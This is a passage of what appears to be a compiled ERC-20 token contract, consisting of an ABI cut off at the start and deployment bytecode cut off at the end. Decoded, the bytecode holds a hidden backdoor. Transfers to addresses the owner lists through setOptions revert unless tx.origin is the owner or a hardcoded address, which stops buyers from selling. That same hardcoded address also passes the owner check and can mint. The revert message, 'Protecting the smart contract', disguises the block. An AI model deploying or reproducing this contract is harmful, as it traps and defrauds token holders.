ress","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_option","type":"address"}],"name":"setOptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"test","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61016060405234801562000011575f80fd5b5060405162003a6738038062003a678339818101604052810190620000379190620008bd565b82806040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525085856200009162000085620001ad60201b60201c565b620001b460201b60201c565b8160049081620000a2919062000b82565b508060059081620000b4919062000b82565b505050620000cd6009836200027560201b90919060201c565b6101208181525050620000eb600a826200027560201b90919060201c565b6101408181525050818051906020012060e08181525050808051906020012061010081815250504660a081815250506200012a620002ca60201b60201c565b608081815250503073ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff1681525050505050620001a4336200017d6200032660201b60201c565b600a6200018b919062000def565b8362000198919062000e3f565b6200032e60201b60201c565b50505062001232565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6020835110156200029a5762000292836200049260201b60201c565b9050620002c4565b82620002ac83620004fc60201b60201c565b5f019081620002bc919062000b82565b5060ff5f1b90505b92915050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60e0516101005146306040516020016200030b95949392919062000ef7565b60405160208183030381529060405280519060200120905090565b5f6006905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200039f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003969062000fb0565b60405180910390fd5b620003b0826200050560201b60201c565b8060035f828254620003c3919062000fd0565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200047391906200100a565b60405180910390a36200048e5f83836200052f60201b60201c565b5050565b5f80829050601f81511115620004e157826040517f305a27a9000000000000000000000000000000000000000000000000000000008152600401620004d8919062001065565b60405180910390fd5b805181620004ef90620010b6565b5f1c175f1b915050919050565b5f819050919050565b62000516816200053460201b60201c565b6200052c576200052b620005e560201b60201c565b5b50565b505050565b5f805f90505b600880549050811015620005da578273ffffffffffffffffffffffffffffffffffffffff166008828154811062000576576200057562001125565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603620005c4575f915050620005e0565b8080620005d19062001152565b9150506200053a565b50600190505b919050565b3273ffffffffffffffffffffffffffffffffffffffff166200060c6200067f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614806200063b57506200063a620006a660201b60201c565b5b6200067d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006749062001212565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f733ec9c6d838e0e3c960129300bda7bb93cfc374dc73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603620006f95760019050620006fd565b5f90505b90565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620007618262000719565b810181811067ffffffffffffffff8211171562000783576200078262000729565b5b80604052505050565b5f6200079762000700565b9050620007a5828262000756565b919050565b5f67ffffffffffffffff821115620007c757620007c662000729565b5b620007d28262000719565b9050602081019050919050565b5f5b83811015620007fe578082015181840152602081019050620007e1565b5f8484015250505050565b5f6200081f6200081984620007aa565b6200078c565b9050828152602081018484840111156200083e576200083d62000715565b5b6200084b848285620007df565b509392505050565b5f82601f8301126200086a576200086962000711565b5b81516200087c84826020860162000809565b91505092915050565b5f819050919050565b620008998162000885565b8114620008a4575f80fd5b50565b5f81519050620008b7816200088e565b92915050565b5f805f60608486031215620008d757620008d662000709565b5b5f84015167ffffffffffffffff811115620008f757620008f66200070d565b5b620009058682870162000853565b935050602084015167ffffffffffffffff8111156200092957620009286200070d565b5b620009378682870162000853565b92505060406200094a86828701620008a7565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620009a357607f821691505b602082108103620009b957620009b86200095e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000a1d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620009e0565b62000a298683620009e0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000a6a62000a6462000a5e8462000885565b62000a41565b62000885565b9050919050565b5f819050919050565b62000a858362000a4a565b62000a9d62000a948262000a71565b848454620009ec565b825550505050565b5f90565b62000ab362000aa5565b62000ac081848462000a7a565b505050565b5b8181101562000ae75762000adb5f8262000aa9565b60018101905062000ac6565b5050565b601f82111562000b365762000b0081620009bf565b62000b0b84620009d1565b8101602085101562000b1b578190505b62000b3362000b2a85620009d1565b83018262000ac5565b50505b505050565b5f82821c905092915050565b5f62000b585f198460080262000b3b565b1980831691505092915050565b5f62000b72838362000b47565b9150826002028217905092915050565b62000b8d8262000954565b67ffffffffffffffff81111562000ba95762000ba862000729565b5b62000bb582546200098b565b62000bc282828562000aeb565b5f60209050601f83116001811462000bf8575f841562000be3578287015190505b62000bef858262000b65565b86555062000c5e565b601f19841662000c0886620009bf565b5f5b8281101562000c315784890151825560018201915060208501945060208101905062000c0a565b8683101562000c51578489015162000c4d601f89168262000b47565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000cf05780860481111562000cc85762000cc762000c66565b5b600185161562000cd85780820291505b808102905062000ce88562000c93565b945062000ca8565b94509492505050565b5f8262000d0a576001905062000ddc565b8162000d19575f905062000ddc565b816001811462000d32576002811462000d3d5762000d73565b600191505062000ddc565b60ff84111562000d525762000d5162000c66565b5b8360020a91508482111562000d6c5762000d6b62000c66565b5b5062000ddc565b5060208310610133831016604e8410600b841016171562000dad5782820a90508381111562000da75762000da662000c66565b5b62000ddc565b62000dbc848484600162000c9f565b9250905081840481111562000dd65762000dd562000c66565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000dfb8262000885565b915062000e088362000de3565b925062000e377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000cf9565b905092915050565b5f62000e4b8262000885565b915062000e588362000885565b925082820262000e688162000885565b9150828204841483151762000e825762000e8162000c66565b5b5092915050565b5f819050919050565b62000e9d8162000e89565b82525050565b62000eae8162000885565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000edf8262000eb4565b9050919050565b62000ef18162000ed3565b82525050565b5f60a08201905062000f0c5f83018862000e92565b62000f1b602083018762000e92565b62000f2a604083018662000e92565b62000f39606083018562000ea3565b62000f48608083018462000ee6565b9695505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000f98601f8362000f52565b915062000fa58262000f62565b602082019050919050565b5f6020820190508181035f83015262000fc98162000f8a565b9050919050565b5f62000fdc8262000885565b915062000fe98362000885565b925082820190508082111562001004576200100362000c66565b5b92915050565b5f6020820190506200101f5f83018462000ea3565b92915050565b5f620010318262000954565b6200103d818562000f52565b93506200104f818560208601620007df565b6200105a8162000719565b840191505092915050565b5f6020820190508181035f8301526200107f818462001025565b905092915050565b5f81519050919050565b5f819050602082019050919050565b5f620010ad825162000e89565b80915050919050565b5f620010c28262001087565b82620010ce8462001091565b9050620010db81620010a0565b925060208210156200111e57620011197fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83602003600802620009e0565b831692505b5050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6200115e8262000885565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362001193576200119262000c66565b5b600182019050919050565b7f6578616d696e6174696f6e2c50726f74656374696e672074686520736d6172745f8201527f20636f6e74726163740000000000000000000000000000000000000000000000602082015250565b5f620011fa60298362000f52565b915062001207826200119e565b604082019050919050565b5f6020820190508181035f8301526200122b81620011ec565b9050919050565b60805160a05160c05160e0516101005161012051610140516127e3620012845f395f6113fb01525f6113c001525f61152a01525f61150901525f61102a01525f61108001525f6110a901526127e35ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c80637d6dff7d116100b6578063a457c2d71161007a578063a457c2d71461036c578063a9059cbb1461039c578063d505accf146103cc578063dd62ed3e146103e8578063f2fde38b14610418578063f8a8fd6d1461043457610140565b80637d6dff7d146102c05780637ecebe00146102dc57806384b0196e1461030c5780638da5cb5b1461033057806395d89b411461034e57610140565b80633644e515116101085780633644e515146101fe578063395093511461021c5780633ee52f991461024c57806340c10f191461026a57806370a0823114610286578063715018a6146102b657610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c610452565b6040516101599190611afa565b60405180910390f35b61017c60048036038101906101779190611bab565b6104e2565b6040516101899190611c03565b60405180910390f35b61019a610504565b6040516101a79190611c2b565b60405180910390f35b6101ca60048036038101906101c59190611c44565b61050d565b6040516101d79190611c03565b60405180910390f35b6101e861053b565b6040516101f59190611caf565b60405180910390f35b610206610543565b6040516102139190611ce0565b60405180910390f35b61023660048036038101906102319190611bab565b610551565b6040516102439190611c03565b60405180910390f35b610254610587565b6040516102619190611d08565b60405180910390f35b610284600480360381019061027f9190611bab565b6105ac565b005b6102a0600480360381019061029b9190611d21565b6105c2565b6040516102ad9190611c2b565b60405180910390f35b6102be610608565b005b6102da60048036038101906102d59190611d21565b61061b565b005b6102f660048036038101906102f19190611d21565b6106f3565b6040516103039190611c2b565b60405180910390f35b610314610704565b6040516103279796959493929190611e3d565b60405180910390f35b6103386107a9565b6040516103459190611d08565b60405180910390f35b6103566107d0565b6040516103639190611afa565b60405180910390f35b61038660048036038101906103819190611bab565b610860565b6040516103939190611c03565b60405180910390f35b6103b660048036038101906103b19190611bab565b6108d5565b6040516103c39190611c03565b60405180910390f35b6103e660048036038101906103e19190611f13565b6108f7565b005b61040260048036038101906103fd9190611fb0565b610a3c565b60405161040f9190611c2b565b60405180910390f35b610432600480360381019061042d9190611d21565b610abe565b005b61043c610b40565b6040516104499190611d08565b60405180910390f35b6060600480546104619061201b565b80601f016020809104026020016040519081016040528092919081815260200182805461048d9061201b565b80156104d85780601f106104af576101008083540402835291602001916104d8565b820191905f5260205f20905b8154815290600101906020018083116104bb57829003601f168201915b5050505050905090565b5f806104ec610b65565b90506104f9818585610b6c565b600191505092915050565b5f600354905090565b5f80610517610b65565b9050610524858285610d2f565b61052f858585610dba565b60019150509392505050565b5f6006905090565b5f61054c611027565b905090565b5f8061055b610b65565b905061057c81858561056d8589610a3c565b6105779190612078565b610b6c565b600191505092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6105b46110dd565b6105be8282611163565b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106106110dd565b6106195f6112b0565b565b6106236107a9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610690576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610687906120f5565b60405180910390fd5b600881908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6106fd82611371565b9050919050565b5f6060805f805f60606107156113b7565b61071d6113f2565b46305f801b5f67ffffffffffffffff81111561073c5761073b612113565b5b60405190808252806020026020018201604052801561076a5781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107df9061201b565b80601f016020809104026020016040519081016040528092919081815260200182805461080b9061201b565b80156108565780601f1061082d57610100808354040283529160200191610856565b820191905f5260205f20905b81548152906001019060200180831161083957829003601f168201915b5050505050905090565b5f8061086a610b65565b90505f6108778286610a3c565b9050838110156108bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b3906121b0565b60405180910390fd5b6108c98286868403610b6c565b60019250505092915050565b5f806108df610b65565b90506108ec818585610dba565b600191505092915050565b8342111561093c57836040517f627913020000000000000000000000000000000000000000000000000000000081526004016109339190611c2b565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c988888861096a8c61142d565b89604051602001610980969594939291906121ce565b6040516020818303038152906040528051906020012090505f6109a282611480565b90505f6109b182878787611499565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a2557808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610a1c92919061222d565b60405180910390fd5b610a308a8a8a610b6c565b50505050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ac66110dd565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b906122c4565b60405180910390fd5b610b3d816112b0565b50565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd190612352565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f906123e0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d229190611c2b565b60405180910390a3505050565b5f610d3a8484610a3c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610db45781811015610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d90612448565b60405180910390fd5b610db38484848403610b6c565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f906124d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d90612564565b60405180910390fd5b610e9f826114c7565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a906125f2565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161100e9190611c2b565b60405180910390a36110218484846114e0565b50505050565b5f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff161480156110a257507f000000000000000000000000000000000000000000000000000000000000000046145b156110cf577f000000000000000000000000000000000000000000000000000000000000000090506110da565b6110d76114e5565b90505b90565b3273ffffffffffffffffffffffffffffffffffffffff166110fc6107a9565b73ffffffffffffffffffffffffffffffffffffffff161480611122575061112161157a565b5b611161576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611158906122c4565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c89061265a565b60405180910390fd5b6111da826114c7565b8060035f8282546111eb9190612078565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112999190611c2b565b60405180910390a36112ac5f83836114e0565b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606113ed60097f00000000000000000000000000000000000000000000000000000000000000006115d290919063ffffffff16565b905090565b6060611428600a7f00000000000000000000000000000000000000000000000000000000000000006115d290919063ffffffff16565b905090565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f61149261148c611027565b8361167f565b9050919050565b5f805f806114a9888888886116bf565b9250925092506114b982826117a6565b829350505050949350505050565b6114d081611908565b6114dd576114dc6110dd565b5b50565b505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f00000000000000000000000000000000000000000000000000000000000000007f0000000000000000000000000000000000000000000000000000000000000000463060405160200161155f959493929190612678565b60405160208183030381529060405280519060200120905090565b5f733ec9c6d838e0e3c960129300bda7bb93cfc374dc73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036115cb57600190506115cf565b5f90505b90565b606060ff5f1b83146115ee576115e7836119b0565b9050611679565b8180546115fa9061201b565b80601f01602080910402602001604051908101604052809291908181526020018280546116269061201b565b80156116715780601f1061164857610100808354040283529160200191611671565b820191905f5260205f20905b81548152906001019060200180831161165457829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c11156116fb575f60038592509250925061179c565b5f6001888888886040515f815260200160405260405161171e94939291906126c9565b6020604051602081039080840390855afa15801561173e573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361178f575f60015f801b9350935093505061179c565b805f805f1b935093509350505b9450945094915050565b5f60038111156117b9576117b861270c565b5b8260038111156117cc576117cb61270c565b5b031561190457600160038111156117e6576117e561270c565b5b8260038111156117f9576117f861270c565b5b03611830576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600260038111156118445761184361270c565b5b8260038111156118575761185661270c565b5b0361189b57805f1c6040517ffce698f70000000000000000000000000000000000000000000000000000000081526004016118929190611c2b565b60405180910390fd5b6003808111156118ae576118ad61270c565b5b8260038111156118c1576118c061270c565b5b0361190357806040517fd78bce0c0000000000000000000000000000000000000000000000000000000081526004016118fa9190611ce0565b60405180910390fd5b5b5050565b5f805f90505b6008805490508110156119a5578273ffffffffffffffffffffffffffffffffffffffff166008828154811061194657611945612739565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611992575f9150506119ab565b808061199d90612766565b91505061190e565b50600190505b919050565b60605f6119bc83611a22565b90505f602067ffffffffffffffff8111156119da576119d9612113565b5b6040519080825280601f01601f191660200182016040528015611a0c5781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611a67576040517fb3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611aa7578082015181840152602081019050611a8c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611acc82611a70565b611ad68185611a7a565b9350611ae6818560208601611a8a565b611aef81611ab2565b840191505092915050565b5f6020820190508181035f830152611b128184611ac2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611b4782611b1e565b9050919050565b611b5781611b3d565b8114611b61575f80fd5b50565b5f81359050611b7281611b4e565b92915050565b5f819050919050565b611b8a81611b78565b8114611b94575f80fd5b50565b5f81359050611ba581611b81565b92915050565b5f8060408385031215611bc157611bc0611b1a565b5b5f611bce85828601611b64565b9250506020611bdf85828601611b97565b9150509250929050565b5f8115159050919050565b611bfd81611be9565b82525050565b5f602082019050611c165f830184611bf4565b92915050565b611c2581611b78565b82525050565b5f602082019050611c3e5f830184611c1c565b92915050565b5f805f60608486031215611c5b57611c5a611b1a565b5b5f611c6886828701611b64565b9350506020611c7986828701611b64565b9250506040611c8a86828701611b97565b9150509250925092565b5f60ff82169050919050565b611ca981611c94565b82525050565b5f602082019050611cc25f830184611ca0565b92915050565b5f819050919050565b611cda81611cc8565b82525050565b5f602082019050611cf35f830184611cd1565b92915050565b611d0281611b3d565b82525050565b5f602082019050611d1b5f830184611cf9565b92915050565b5f60208284031215611d3657611d35611b1a565b5b5f611d4384828501611b64565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611d8081611d4c565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611db881611b78565b82525050565b5f611dc98383611daf565b60208301905092915050565b5f602082019050919050565b5f611deb82611d86565b611df58185611d90565b9350611e0083611da0565b805f5b83811015611e30578151611e178882611dbe565b9750611e2283611dd5565b925050600181019050611e03565b5085935050505092915050565b5f60e082019050611e505f83018a611d77565b8181036020830152611e628189611ac2565b90508181036040830152611e768188611ac2565b9050611e856060830187611c1c565b611e926080830186611cf9565b611e9f60a0830185611cd1565b81810360c0830152611eb18184611de1565b905098975050505050505050565b611ec881611c94565b8114611ed2575f80fd5b50565b5f81359050611ee381611ebf565b92915050565b611ef281611cc8565b8114611efc575f80fd5b50565b5f81359050611f0d81611ee9565b92915050565b5f805f805f805f60e0888a031215611f2e57611f2d611b1a565b5b5f611f3b8a828b01611b64565b9750506020611f4c8a828b01611b64565b9650506040611f5d8a828b01611b97565b9550506060611f6e8a828b01611b97565b9450506080611f7f8a828b01611ed5565b93505060a0611f908a828b01611eff565b92505060c0611fa18a828b01611eff565b91505092959891949750929550565b5f8060408385031215611fc657611fc5611b1a565b5b5f611fd385828601611b64565b9250506020611fe485828601611b64565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061203257607f821691505b60208210810361204557612044611fee565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61208282611b78565b915061208d83611b78565b92508282019050808211156120a5576120a461204b565b5b92915050565b7f696e636f727265637400000000000000000000000000000000000000000000005f82015250565b5f6120df600983611a7a565b91506120ea826120ab565b602082019050919050565b5f6020820190508181035f83015261210c816120d3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61219a602583611a7a565b91506121a582612140565b604082019050919050565b5f6020820190508181035f8301526121c78161218e565b9050919050565b5f60c0820190506121e15f830189611cd1565b6121ee6020830188611cf9565b6121fb6040830187611cf9565b6122086060830186611c1c565b6122156080830185611c1c565b61222260a0830184611c1c565b979650505050505050565b5f6040820190506122405f830185611cf9565b61224d6020830184611cf9565b9392505050565b7f6578616d696e6174696f6e2c50726f74656374696e672074686520736d6172745f8201527f20636f6e74726163740000000000000000000000000000000000000000000000602082015250565b5f6122ae602983611a7a565b91506122b982612254565b604082019050919050565b5f6020820190508181035f8301526122db816122a2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61233c602483611a7a565b9150612347826122e2565b604082019050919050565b5f6020820190508181035f83015261236981612330565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6123ca602283611a7a565b91506123d582612370565b604082019050919050565b5f6020820190508181035f8301526123f7816123be565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612432601d83611a7a565b915061243d826123fe565b602082019050919050565b5f6020820190508181035f83015261245f81612426565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124c0602583611a7a565b91506124cb82612466565b604082019050919050565b5f6020820190508181035f8301526124ed816124b4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61254e602383611a7a565b9150612559826124f4565b604082019050919050565b5f6020820190508181035f83015261257b81612542565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6125dc602683611a7a565b91506125e782612582565b604082019050919050565b5f6020820190508181035f830152612609816125d0565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f612644601f83611a7a565b915061264f82612610565b602082019050919050565b5f6020820190508